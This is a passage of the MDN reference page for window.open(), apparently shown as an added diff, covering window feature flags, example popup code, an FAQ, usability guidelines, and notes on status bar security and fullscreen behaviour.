+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>alwaysRaised</dt>
+ <dd>If on, the new window will always be displayed on top of other browser windows, regardless of whether it is active or not.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>alwaysLowered</dt>
+ <dd>If on, the new created window floats below, under its own parent when the parent window is not minimized. alwaysLowered windows are often referred as pop-under windows. The alwaysLowered window can not be on top of the parent but the parent window can be minimized. In NS 6.x, the alwaysLowered window has no minimize system command icon and no restore/maximize system command.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>z-lock</dt>
+ <dd>Same as <code>alwaysLowered</code>.</dd>
+ <dt>close</dt>
+ <dd>When set to <var>no or 0</var>, this feature removes the system close command icon and system close menu item. It will only work for dialog windows (<code>dialog</code> feature set). <code>close=no</code> will override <code>minimizable=yes</code>.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always have a close button by setting<br>
+ <code>dom.disable_window_open_feature.close</code><br>
+ to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+</dl>
+
+<p>The position and size feature elements require a number to be set. The toolbars and window functionalities can be set with a <var>yes</var> or <var>no</var>; you can use <var>1</var> instead of <var>yes</var> and <var>0</var> instead of <var>no</var>. The toolbar and functionality feature elements also accept the shorthand form: you can turn a feature on by simply listing the feature name in the <var>features</var> string. If you supply the <var>features</var> parameter, then the <code>titlebar</code> and <code>close</code> are still <var>yes</var> by default, but the other features which have a <var>yes</var>/<var>no</var> choice will be <var>no</var> by default and will be turned off.</p>
+
+<p>Example:</p>
+
+<pre class="brush:js">var windowObjectReference; // global variable
+
+function openRequestedPopup() {
+  windowObjectReference = window.open(
+    "http://www.domainname.ext/path/ImgFile.png",
+    "DescriptiveWindowName",
+    "width=420,height=230,resizable,scrollbars=yes,status=1"
+  );
+}</pre>
+
+<p>In this example, the window will be resizable, it will render scrollbar(s) if needed, if the content overflows requested window dimensions and it will render the status bar. It will not render the menubar nor the location bar. Since the author knew about the size of the image (400 pixels wide and 200 pixels high), they added the margins applied to the root element in MSIE 6 which is 15 pixels for top margin, 15 pixels for the bottom margin, 10 pixels for the left margin and 10 pixels for the right margin.</p>
+
+<h2 id="Best_practices">Best practices</h2>
+
+<pre class="brush:js">&lt;script type="text/javascript"&gt;
+var windowObjectReference = null; // global variable
+
+function openFFPromotionPopup() {
+  if(windowObjectReference == null || windowObjectReference.closed)
+  /* if the pointer to the window object in memory does not exist
+     or if such pointer exists but the window was closed */
+
+  {
+    windowObjectReference = window.open("http://www.spreadfirefox.com/",
+   "PromoteFirefoxWindowName", "resizable,scrollbars,status");
+    /* then create it. The new window will be created and
+       will be brought on top of any other window. */
+  }
+  else
+  {
+    windowObjectReference.focus();
+    /* else the window reference must exist and the window
+       is not closed; therefore, we can bring it back on top of any other
+       window with the focus() method. There would be no need to re-create
+       the window or to reload the referenced resource. */
+  };
+}
+&lt;/script&gt;
+
+(...)
+
+&lt;p&gt;&lt;a
+ href="http://www.spreadfirefox.com/"
+ target="PromoteFirefoxWindowName"
+ onclick="openFFPromotionPopup(); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+&gt;Promote Firefox adoption&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<p>The above code solves a few usability problems related to links opening secondary window. The purpose of the <code>return false</code> in the code is to cancel default action of the link: if the onclick event handler is executed, then there is no need to execute the default action of the link. But if javascript support is disabled or non-existent on the user's browser, then the onclick event handler is ignored and the browser loads the referenced resource in the target frame or window that has the name "PromoteFirefoxWindowName". If no frame nor window has the name "PromoteFirefoxWindowName", then the browser will create a new window and will name it "PromoteFirefoxWindowName".</p>
+
+<p>More reading on the use of the target attribute:</p>
+
+<p><a href="http://www.w3.org/TR/html401/present/frames.html#h-16.3.2">HTML 4.01 Target attribute specifications</a></p>
+
+<p><a href="http://www.htmlhelp.com/faq/html/links.html#new-window">How do I create a link that opens a new window?</a></p>
+
+<p>You can also parameterize the function to make it versatile, functional in more situations, therefore re-usable in scripts and webpages:</p>
+
+<pre class="brush:js">&lt;script type="text/javascript"&gt;
+var windowObjectReference = null; // global variable
+
+function openRequestedPopup(strUrl, strWindowName) {
+  if(windowObjectReference == null || windowObjectReference.closed) {
+    windowObjectReference = window.open(strUrl, strWindowName,
+           "resizable,scrollbars,status");
+  } else {
+    windowObjectReference.focus();
+  };
+}
+&lt;/script&gt;
+
+(...)
+
+&lt;p&gt;&lt;a
+ href="http://www.spreadfirefox.com/"
+ target="PromoteFirefoxWindow"
+ onclick="openRequestedPopup(this.href, this.target); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+&gt;Promote Firefox adoption&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<p>You can also make such function able to open only 1 secondary window and to reuse such single secondary window for other links in this manner:</p>
+
+<pre class="brush:js">&lt;script type="text/javascript"&gt;
+var windowObjectReference = null; // global variable
+var PreviousUrl; /* global variable which will store the
+                    url currently in the secondary window */
+
+function openRequestedSinglePopup(strUrl) {
+  if(windowObjectReference == null || windowObjectReference.closed) {
+    windowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
+         "resizable,scrollbars,status");
+  } else if(PreviousUrl != strUrl) {
+    windowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
+      "resizable=yes,scrollbars=yes,status=yes");
+    /* if the resource to load is different,
+       then we load it in the already opened secondary window and then
+       we bring such window back on top/in front of its parent window. */
+    windowObjectReference.focus();
+  } else {
+    windowObjectReference.focus();
+  };
+
+  PreviousUrl = strUrl;
+  /* explanation: we store the current url in order to compare url
+     in the event of another call of this function. */
+}
+&lt;/script&gt;
+
+(...)
+
+&lt;p&gt;&lt;a
+ href="http://www.spreadfirefox.com/"
+ target="SingleSecondaryWindowName"
+ onclick="openRequestedSinglePopup(this.href); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+&gt;Promote Firefox adoption&lt;/a&gt;&lt;/p&gt;
+
+&lt;p&gt;&lt;a
+ href="http://www.mozilla.org/support/firefox/faq"
+ target="SingleSecondaryWindowName"
+ onclick="openRequestedSinglePopup(this.href); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+&gt;Firefox FAQ&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<h2 id="FAQ">FAQ</h2>
+
+<dl>
+ <dt>How can I prevent the confirmation message asking the user whether they want to close the window?</dt>
+ <dd>You can not. <strong>New windows not opened by javascript can not as a rule be closed by JavaScript.</strong> The JavaScript Console in Mozilla-based browsers will report the warning message: <code>"Scripts may not close windows that were not opened by script."</code> Otherwise the history of URLs visited during the browser session would be lost.</dd>
+ <dd><a href="/en-US/docs/DOM/window.close" title="DOM/window.close">More on the window.close()</a> method</dd>
+ <dt>How can I bring back the window if it is minimized or behind another window?</dt>
+ <dd>First check for the existence of the window object reference of such window and if it exists and if it has not been closed, then use the <a href="/en-US/docs/DOM/window.focus" title="DOM/window.focus">focus()</a> method. There is no other reliable way. You can examine an <a href="#Best_practices">example explaining how to use the focus() method</a>.</dd>
+ <dt>How do I force a maximized window?</dt>
+ <dd>You cannot. All browser manufacturers try to make the opening of new secondary windows noticed by users and noticeable by users to avoid confusion, to avoid disorienting users.</dd>
+ <dt>How do I turn off window resizability or remove toolbars?</dt>
+ <dd>You cannot force this. Users with Mozilla-based browsers have absolute control over window functionalities like resizability, scrollability and toolbars presence via user preferences in <code>about:config</code>. Since your users are the ones who are supposed to use such windows (and not you, being the web author), the best is to avoid interfering with their habits and preferences. We recommend to always set the resizability and scrollbars presence (if needed) to yes to insure accessibility to content and usability of windows. This is in the best interests of both the web author and the users.</dd>
+ <dt>How do I resize a window to fit its content?</dt>
+ <dd>You can not reliably because the users can prevent the window from being resized by unchecking the <code>Edit/Preferences/Advanced/Scripts &amp; Plug-ins/Allow Scripts to/ Move or resize existing windows</code> checkbox in Mozilla or <code>Tools/Options.../Content tab/Enable Javascript/Advanced button/Move or resize existing windows</code> checkbox in Firefox or by setting <code>dom.disable_window_move_resize</code> to <var>true</var> in <code>about:config</code> or by editing accordingly their <a href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd>
+ <dd>In general, users usually disable moving and resizing of existing windows because allowing authors' scripts to do so has been abused overwhelmingly in the past and the rare scripts that do not abuse such feature are often wrong, inaccurate when resizing the window. 99% of all those scripts disable window resizability and disable scrollbars when in fact they should enable both of these features to allow a cautious and sane fallback mechanism if their calculations are wrong.</dd>
+ <dd>The window method <a href="/en-US/docs/DOM/window.sizeToContent" title="DOM/window.sizeToContent">sizeToContent()</a> is also disabled if the user unchecks the preference <code>Move or resize existing windows</code> checkbox. Moving and resizing a window remotely on the user's screen via script will very often annoy the users, will disorient the user, and will be wrong at best. The web author expects to have full control of (and can decide about) every position and size aspects of the users' browser window ... which is simply not true.</dd>
+ <dt>How do I open a referenced resource of a link in a new tab? or in a specific tab?</dt>
+ <dd>To open a resource in a new tab see <a href="https://developer.mozilla.org/en-US/docs/XUL/tabbrowser">Tabbed browser</a>. Some <a href="https://developer.mozilla.org/en-US/Add-ons/Code_snippets/Tabbed_browser?redirectlocale=en-US&amp;redirectslug=Code_snippets%2FTabbed_browser">Code snippets</a> are available. If you are using the SDK, tabs are <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs">handled a bit differently</a></dd>
+ <dd><a href="http://kmeleon.sourceforge.net/">K-meleon 1.1</a>, a Mozilla-based browser, gives complete control and power to the user regarding how links are opened. Only the user can set his advanced preferences to do that. Some advanced extensions also give Mozilla and Firefox a lot of power over how referenced resources are loaded.</dd>
+ <dd>In a few years, the <a href="http://www.w3.org/TR/2004/WD-css3-hyperlinks-20040224/#target0">target property of the CSS3 hyperlink module</a> may be implemented (if CSS3 Hyperlink module as it is right now is approved). And even if and when this happens, you can expect developers of browsers with tab-browsing to give the user entire veto power and full control over how links can open web pages. How to open a link should always be entirely under the control of the user.</dd>
+ <dt>How do I know whether a window I opened is still open?</dt>
+ <dd>You can test for the existence of the window object reference which is the returned value in case of success of the window.open() call and then verify that <var>windowObjectReference</var>.closed return value is <var>false</var>.</dd>
+ <dt>How can I tell when my window was blocked by a popup blocker?</dt>
+ <dd>With the built-in popup blockers of Mozilla/Firefox and Internet Explorer 6 SP2, you have to check the return value of <code>window.open()</code>: it will be <var>null</var> if the window wasn't allowed to open. However, for most other popup blockers, there is no reliable way.</dd>
+ <dt>What is the JavaScript relationship between the main window and the secondary window?</dt>
+ <dd>The <code>window.open()</code> method gives a main window a reference to a secondary window; the <a href="/en-US/docs/DOM/window.opener" title="DOM/window.opener">opener</a> property gives a secondary window a reference to its main window.</dd>
+ <dt>I can not access the properties of the new secondary window. I always get an error in the javascript console saying "Error<span class="nowiki">:</span> uncaught exception<span class="nowiki">:</span> Permission denied to get property &lt;property_name or method_name&gt;. Why is that?</dt>
+ <dd>It is because of the cross-domain script security restriction (also referred as the "Same Origin Policy"). A script loaded in a window (or frame) from a distinct origin (domain name) <strong>cannot get nor set</strong> properties of another window (or frame) or the properties of any of its HTML objects coming from another distinct origin (domain name). Therefore, before executing a script targeting a secondary window, the browser in the main window will verify that the secondary window has the same domain name.</dd>
+ <dd>More reading on the cross-domain script security restriction: <a href="http://www.mozilla.org/projects/security/components/same-origin.html" rel="freelink">http://www.mozilla.org/projects/secu...me-origin.html</a></dd>
+</dl>
+
+<h2 id="Usability_issues">Usability issues</h2>
+
+<h3 id="Avoid_resorting_to_window.open()">Avoid resorting to <code>window.open()</code></h3>
+
+<p>Generally speaking, it is preferable to avoid resorting to window.open() for several reasons:</p>
+
+<ul>
+ <li>All Mozilla-based browsers offer <a href="https://developer.mozilla.org/en-US/docs/XUL/tabbrowser">tab-browsing</a> and this is the preferred mode of <a href="https://developer.mozilla.org/en-US/Add-ons/Code_snippets/Tabbed_browser?redirectlocale=en-US&amp;redirectslug=Code_snippets%2FTabbed_browser">opening referenced resources</a> (<a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs">SDK</a>)... not just in Mozilla-based browsers but in all other browsers offering tab-browsing. In other words, tab-capable browser users overall prefer opening new tabs than opening new windows in a majority of webpage situations. Tab-capable browsers have rapidly gained support and enthusiasm on internet in the last 3 years; this trend will not revert back. MSIE 7, released in October 2006, has full support for tab browsing.</li>
+ <li>There are now <a href="https://addons.mozilla.org/seamonkey/browse/type:1/cat:48/sort:updated">several Mozilla extensions</a> (like Multizilla) and <a href="https://addons.update.mozilla.org/firefox/browse/type:1/cat:14/sort:updated">Firefox extensions</a> (like <a href="https://addons.mozilla.org/firefox/addon/158">Tabbrowser preferences</a>), features, settings and advanced preferences based on tab-browsing and based on converting window.open() calls into opening tabs, based on neutralizing window.open() calls, in particular in neutralizing unrequested openings of new windows (often referred as blocking unrequested popups or as blocking script-initiated windows opening automatically). Such features found in extensions include opening a link in a new window or not, in the same window, in a new tab or not, in "background" or not. Coding carelessly to open new windows can no longer be assured of success, can not succeed by force and, if it does, it will annoy a majority of users.</li>
+ <li>New windows can have menubar missing, scrollbars missing, status bar missing, window resizability disabled, etc.; new tabs can not be missing those functionalities or toolbars (or at least, the toolbars which are present by default). Therefore, tab-browsing is preferred by a lot of users because the normal user-interface of the browser window they prefer is kept intact, remains stable.</li>
+ <li>Opening new windows, even with reduced features, uses considerably a lot of the user's system resources (cpu, RAM) and involves considerably a lot of coding in the source code (security management, memory management, various code branchings sometimes quite complex, window frame/chrome/toolbars building, window positioning and sizing, etc.). Opening new tabs is less demanding on the user's system resources (and faster to achieve) than opening new windows.</li>
+</ul>
+
+<h3 id="Offer_to_open_a_link_in_a_new_window_using_these_guidelines">Offer to open a link in a new window, using these guidelines</h3>
+
+<p>If you want to offer to open a link in a new window, then follow tested and recommendable usability and accessibility guidelines:</p>
+
+<h4 id="Never_use_this_form_of_code_for_links_&lt;a_hrefjavascriptwindow.open(...)_...>"><em>Never</em> use this form of code for links: <code>&lt;a href="javascript:window.open(...)" ...&gt;</code></h4>
+
+<p>"javascript:" links break accessibility and usability of webpages in every browser.</p>
+
+<ul>
+ <li>"javascript:" pseudo-links become dysfunctional when javascript support is disabled or inexistent. Several corporations allow their employees to surf on the web but under strict security policies: no javascript enabled, no java, no activeX, no Flash. For various reasons (security, public access, text browsers, etc..), about 5% to 10% of users on the web surf with javascript disabled.</li>
+ <li>"javascript:" links will interfere with advanced features in tab-capable browsers: eg. middle-click on links, Ctrl+click on links, tab-browsing features in extensions, etc.</li>
+ <li>"javascript:" links will interfere with the process of indexing webpages by search engines.</li>
+ <li>"javascript:" links interfere with assistive technologies (e.g. voice browsers) and several web-aware applications (e.g. <abbr title="Personal Digital Assistant">PDAs</abbr> and mobile browsers).</li>
+ <li>"javascript:" links also interfere with "mouse gestures" features implemented in browsers.</li>
+ <li>Protocol scheme "javascript:" will be reported as an error by link validators and link checkers.</li>
+</ul>
+
+<p><strong>Further reading:</strong></p>
+
+<ul>
+ <li><a href="http://www.useit.com/alertbox/20021223.html">Top Ten Web-Design Mistakes of 2002</a>, 6. JavaScript in Links, Jakob Nielsen, December 2002</li>
+ <li><a href="http://www.evolt.org/article/Links_and_JavaScript_Living_Together_in_Harmony/17/20938/">Links &amp; JavaScript Living Together in Harmony</a>, Jeff Howden, February 2002</li>
+ <li><a href="http://jibbering.com/faq/#FAQ4_24">comp.lang.javascript newsgroup discussion FAQ on "javascript:" links</a></li>
+</ul>
+
+<h4 id="Never_use_&lt;a_href_onclickwindow.open(...)>">Never use <code>&lt;a href="#" onclick="window.open(...);"&gt;</code></h4>
+
+<p>Such pseudo-link also breaks accessibility of links. <strong>Always use a real URL for the href attribute value</strong> so that if javascript support is disabled or inexistent or if the user agent does not support opening of secondary window (like MS-Web TV, text browsers, etc), then such user agents will still be able to load the referenced resource according to its default mode of opening/handling a referenced resource. This form of code also interferes with advanced features in tab-capable browsers: eg. middle-click on links, Ctrl+click on links, Ctrl+Enter on links, "mouse gestures" features.</p>
+
+<h4 id="Always_identify_links_which_will_create_(or_will_re-use)_a_new_secondary_window">Always identify links which will create (or will re-use) a new, secondary window</h4>
+
+<p>Identify links that will open new windows in a way that helps navigation for users by coding the title attribute of the link, by adding an icon at the end of the link or by coding the cursor accordingly.</p>
+
+<p>The purpose is to warn users in advance of context changes to minimize confusion on the user's part: changing the current window or popping up new windows can be very disorienting to users (Back toolbar button is disabled).</p>
+
+<blockquote>
+<p>"Users often don't notice that a new window has opened, especially if they are using a small monitor where the windows are maximized to fill up the screen. So a user who tries to return to the origin will be confused by a grayed out <em>Back</em> button."<br>
+ quote from <a href="http://www.useit.com/alertbox/990530.html">The Top Ten <em>New</em> Mistakes of Web Design</a>: 2. Opening New Browser Windows, Jakob Nielsen, May 1999</p>
+</blockquote>
+
+<p>When extreme changes in context are explicitly identified before they occur, then the users can determine if they wish to proceed or so they can be prepared for the change: not only they will not be confused or feel disoriented, but more experienced users can better decide how to open such links (in a new window or not, in the same window, in a new tab or not, in "background" or not).</p>
+
+<p><strong>References</strong></p>
+
+<ul>
+ <li>"If your link spawns a new window, or causes another windows to 'pop up' on your display, or move the focus of the system to a new FRAME or Window, then the nice thing to do is to tell the user that something like that will happen." <a href="http://www.w3.org/WAI/wcag-curric/sam77-0.htm">World Wide Web Consortium Accessibility Initiative regarding popups</a></li>
+ <li>"Use link titles to provide users with a preview of where each link will take them, before they have clicked on it." <a href="http://www.useit.com/alertbox/991003.html">Ten Good Deeds in Web Design</a>, Jakob Nielsen, October 1999</li>
+ <li><a href="http://www.useit.com/alertbox/980111.html">Using Link Titles to Help Users Predict Where They Are Going</a>, Jakob Nielsen, January 1998</li>
+</ul>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header" colspan="4">Example "New Window" Icons &amp; Cursors</td>
+  </tr>
+  <tr>
+   <td><img alt="New window icon from yahoo.com" src="/@api/deki/files/782/=NewwindowYahoo.png"></td>
+   <td><img alt="New window icon from microsoft.com" src="/@api/deki/files/780/=NewwinMSIE.gif"></td>
+   <td><img alt="New window icon from webaim.org" src="/@api/deki/files/296/=Popup_requested_new_window.gif"></td>
+   <td><img alt="New window icon from sun.com" src="/@api/deki/files/811/=PopupImageSun.gif"></td>
+  </tr>
+  <tr>
+   <td><img alt="New window icon from bbc.co.uk" src="/@api/deki/files/795/=Opennews_rb.gif"></td>
+   <td><img alt="New window icon from Accessible Internet Solutions" src="/@api/deki/files/15/=AIS_NewWindowIcon.png"></td>
+   <td><img alt="New window icon from accessify.com" src="/@api/deki/files/809/=Pop-up-launcher.gif"></td>
+   <td><img alt="New window icon from webstyleguide.com" src="/@api/deki/files/417/=Webstyleguide_com_newwind.gif"></td>
+  </tr>
+  <tr>
+   <td><img alt="New window icon from an unknown source" src="/@api/deki/files/810/=Popicon_1.gif"></td>
+   <td><img alt="New window icon from an unknown source" src="/@api/deki/files/779/=New.gif"></td>
+   <td><img alt="New window icon from an unknown source" src="/@api/deki/files/419/=WillCreateOrRecycleNewWindow.gif"></td>
+   <td><img alt="New window icon from gtalbot.org" src="/@api/deki/files/287/=OpenRequestedPopup.png"></td>
+  </tr>
+  <tr>
+   <td colspan="2"><img alt="New window cursor from draig.de" src="/@api/deki/files/169/=Cursor_LinkNewWindowTargetBlank.png"></td>
+   <td colspan="2"><img alt="New window cursor from mithgol.ru" src="/@api/deki/files/170/=Cursor_newwindowSergeySokoloff.png"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Always_use_the_target_attribute">Always use the target attribute</h4>
+
+<p>If javascript support is disabled or non-existent, then the user agent will create a secondary window accordingly or will render the referenced resource according to its handling of the target attribute: e.g. some user agents which can not create new windows, like MS Web TV, will fetch the referenced resource and append it at the end of the current document. The goal and the idea is to try to provide - <strong>not impose</strong> - to the user a way to open the referenced resource, a mode of opening the link. Your code should not interfere with the features of the browser at the disposal of the user and your code should not interfere with the final decision resting with the user.</p>
+
+<h4 id="Do_not_use_target_blank">Do not use <code>target="_blank"</code></h4>
+
+<p>Always provide a meaningful name to your target attribute and try to reuse such target attribute in your page so that a click on another link may load the referenced resource in an already created and rendered window (therefore speeding up the process for the user) and therefore justifying the reason (and user system resources, time spent) for creating a secondary window in the first place. Using a single target attribute value and reusing it in links is much more user resources friendly as it only creates one single secondary window which is recycled. On the other hand, using "_blank" as the target attribute value will create several new and unnamed windows on the user's desktop which can not be recycled, reused. In any case, if your code is well done, it should not interfere with the user's final choice but rather merely offer him more choices, more ways to open links and more power to the tool he's using (a browser).</p>
+
+<h2 id="Glossary">Glossary</h2>
+
+<dl>
+ <dt>Opener window, parent window, main window, first window</dt>
+ <dd>Terms often used to describe or to identify the same window. It is the window from which a new window will be created. It is the window on which the user clicked a link which lead to the creation of another, new window.</dd>
+ <dt>Sub-window, child window, secondary window, second window</dt>
+ <dd>Terms often used to describe or to identify the same window. It is the new window which was created.</dd>
+ <dt>Unrequested popup windows</dt>
+ <dd>Script-initiated windows opening automatically without the user's consent.</dd>
+</dl>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'window-object.html#dom-open', 'Window.open()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#the-features-argument-to-the-open()-method', 'The features argument to the open() method') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Defines the effect of the <code>features</code> argument</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+
+
+<p>{{Compat("api.Window.open")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<h3 id="Note_on_precedence">Note on precedence</h3>
+
+<p>In cases where <code>left</code> and <code>screenX</code> (and/or <code>top</code> and <code>screenY</code>) have conflicting values, then <code>left</code> and <code>top</code> have precedence over <code>screenX</code> and <code>screenY</code> respectively. If <code>left</code> and <code>screenX</code> (and/or <code>top</code> and <code>screenY</code>) are defined in the <var>features</var> list, then <code>left</code> (and/or <code>top</code>) will be honored and rendered. In the following example the new window will be positioned at 100 pixels from the left side of the work area for applications of the user's operating system, not at 200 pixels.</p>
+
+<pre class="brush:js">windowObjectReference = window.open(
+  "http://news.bbc.co.uk/",
+  "BBCWorldNewsWindowName",
+  "left=100,screenX=200,resizable,scrollbars,status"
+);</pre>
+
+<p>If left is set but top has no value and screenY has a value, then left and screenY will be the coordinate positioning values of the secondary window.</p>
+
+<p>outerWidth has precedence over width and width has precedence over innerWidth. outerHeight has precedence over height and height has precedence over innerHeight. In the following example, Mozilla-browsers will create a new window with an outerWidth of 600 pixels wide and will ignore the request of a width of 500 pixels and will also ignore the request of an innerWidth of 400 pixels.</p>
+
+<pre class="brush:js">windowObjectReference = window.open(
+  "http://www.wwf.org/",
+  "WWildlifeOrgWindowName",
+  "outerWidth=600,width=500,innerWidth=400,resizable,scrollbars,status"
+);</pre>
+
+<h3 id="Note_on_position_and_dimension_error_correction">Note on position and dimension error correction</h3>
+
+<p>Requested position and requested dimension values in the <var>features</var> list will not be honored and <strong>will be corrected</strong> if any of such requested value does not allow the entire browser window to be rendered within the work area for applications of the user's operating system. <strong>No part of the new window can be initially positioned offscreen. This is by default in all Mozilla-based browser releases.</strong></p>
+
+<p><a href="http://msdn2.microsoft.com/en-us/library/ms997645.aspx#xpsp_topic5">MSIE 6 SP2 has a similar error correction mechanism</a> but it is not activated by default in all security levels: a security setting can disable such error correction mechanism.</p>
+
+<h3 id="Note_on_scrollbars">Note on scrollbars</h3>
+
+<p>When content overflows window viewport dimensions, then scrollbar(s) (or some scrolling mechanism) are necessary to ensure that content can be accessed by users. Content can overflow window dimensions for several reasons which are outside the control of web authors:</p>
+
+<ul>
+ <li>user resizes the window</li>
+ <li>user increases the text size of fonts via View/Text Zoom (%) menuitem in Mozilla or View/Text Size/Increase or Decrease in Firefox</li>
+ <li>user sets a minimum font size for pages which is bigger than the font-size the web author requested. People over 40 years old or with particular viewing habit or reading preference often set a minimal font size in Mozilla-based browsers.</li>
+ <li>web author is not aware of default margin (and/or border and/or padding) values applying to root element or body node in various browsers and various browser versions</li>
+ <li>user uses an user stylesheet (<a href="http://www.mozilla.org/support/firefox/edit#content">userContent.css in Mozilla-based browsers</a>) for his viewing habits which increases document box dimensions (margin, padding, default font size)</li>
+ <li>user can customize individually the size (height or width) of most toolbars via operating system settings. E.g. window resizing borders, height of browser titlebar, menubar, scrollbars, font size are entirely customizable by the user in Windows XP operating system. These toolbars dimensions can also be set via browser themes and skins or by operating system themes</li>
+ <li>web author is unaware that the user default browser window has custom toolbar(s) for specific purpose(s); e.g.: prefs bar, web developer bar, accessibility toolbar, popup blocking and search toolbar, multi-feature toolbar, etc.</li>
+ <li>user uses assistive technologies or add-on features which modify the operating system's work area for applications: e.g. MS-Magnifier</li>
+ <li>user repositions and/or resizes directly or indirectly the operating system's work area for applications: e.g. user resizes the Windows taskbar, user positions the Windows taskbar on the left side (arabic language based) or right side (Hebrew language), user has a permanent MS-Office quick launch toolbar, etc.</li>
+ <li>some operating system (Mac OS X) forces presence of toolbars which can then fool the web author's anticipations, calculations of the effective dimensions of the browser window</li>
+</ul>
+
+<h3 id="Note_on_status_bar">Note on status bar</h3>
+
+<p>You should assume that a large majority of browsers will have the status bar or that a large majority of users will want to force the status bar presence: best is to always set this feature to yes. Also, if you specifically request to remove the status bar, then Firefox users will not be able to view the Site Navigation toolbar if it is installed. In Mozilla and in Firefox, all windows with a status bar have a window resizing grippy at its right-most side. The status bar also provides info on http connection, hypertext resource location, download progress bar, encryption/secure connection info with <abbr title="Secure Socket Layer">SSL</abbr> connection (displaying a yellow padlock icon), internet/security zone icons, privacy policy/cookie icon, etc. <strong>Removing the status bar usually removes a lot of functionality, features and information considered useful (and sometimes vital) by the users.</strong></p>
+
+<h3 id="Note_on_security_issues_of_the_status_bar_presence">Note on security issues of the status bar presence</h3>
+
+<p>In MSIE 6 for XP SP2: For windows opened using <code>window.open()</code>:</p>
+
+<blockquote>
+<p>"For windows opened using window.open():<br>
+ Expect the status bar to be present, and code for it. <strong>The status bar will be on by default</strong> and is 20-25 pixels in height. (...)"<br>
+ quote from <a href="http://msdn2.microsoft.com/en-us/library/ms997645.aspx#xpsp_topic5">Fine-Tune Your Web Site for Windows XP Service Pack 2, Browser Window Restrictions in XP SP2</a></p>
+</blockquote>
+
+<blockquote>
+<p>"(...) windows that are created using the window.open() method can be called by scripts and used to spoof a user interface or desktop or to hide malicious information or activity by sizing the window so that the status bar is not visible.<br>
+ Internet Explorer windows provide visible security information to the user to help them ascertain the source of the Web page and the security of the communication with that page. When these elements are not in view, the user might think they are on a more trusted page or interacting with a system process when they are actually interacting with a malicious host. (...)<br>
+ <strong>Script-initiated windows will be displayed fully, with the Internet Explorer title bar and status bar.</strong> (...)<br>
+ Script management of Internet Explorer status bar<br>
+ Detailed description<br>
+ <strong>Internet Explorer has been modified to not turn off the status bar for any windows. The status bar is always visible for all Internet Explorer windows.</strong> (...) Without this change, windows that are created using the window.open() method can be called by scripts and spoof a user interface or desktop or hide malicious information or activity by hiding important elements of the user interface from the user.<br>
+ The status bar is a security feature of Internet Explorer windows that provides Internet Explorer security zone information to the user. This zone cannot be spoofed (...)"<br>
+ quote from <a href="http://technet.microsoft.com/en-us/library/bb457150.aspx#ECAA">Changes to Functionality in Microsoft Windows XP Service Pack 2, Internet Explorer Window Restrictions</a></p>
+</blockquote>
+
+<h3 id="Note_on_fullscreen">Note on fullscreen</h3>
+
+<p>In MSIE 6 for XP SP2:</p>
+
+<ul>
+ <li>"window.open() with fullscreen=yes will now result in a maximized window, not a kiosk mode window."</li>
+ <li>"The definition of the fullscreen=yes specification is changed to mean 'show the window as maximized,' which will keep the title bar, address bar, and status bar visible."</li>
+</ul>
+
+<h4 id="References">References:</h4>
+
+<ul>
+ <li><a href="http://msdn2.microsoft.com/en-us/library/ms997645.aspx#xpsp_topic5">Fine-Tune Your Web Site for Windows XP Service Pack 2</a></li>
+ <li><a href="http://technet.microsoft.com/en-us/library/bb457150.aspx#ECAA">Changes to Functionality in Microsoft Windows XP Service Pack 2, Script sizing of Internet Explorer windows</a></li>
+</ul>
+
+<h3 id="Note_on_outerHeight_versus_height">Note on outerHeight versus height</h3>
+
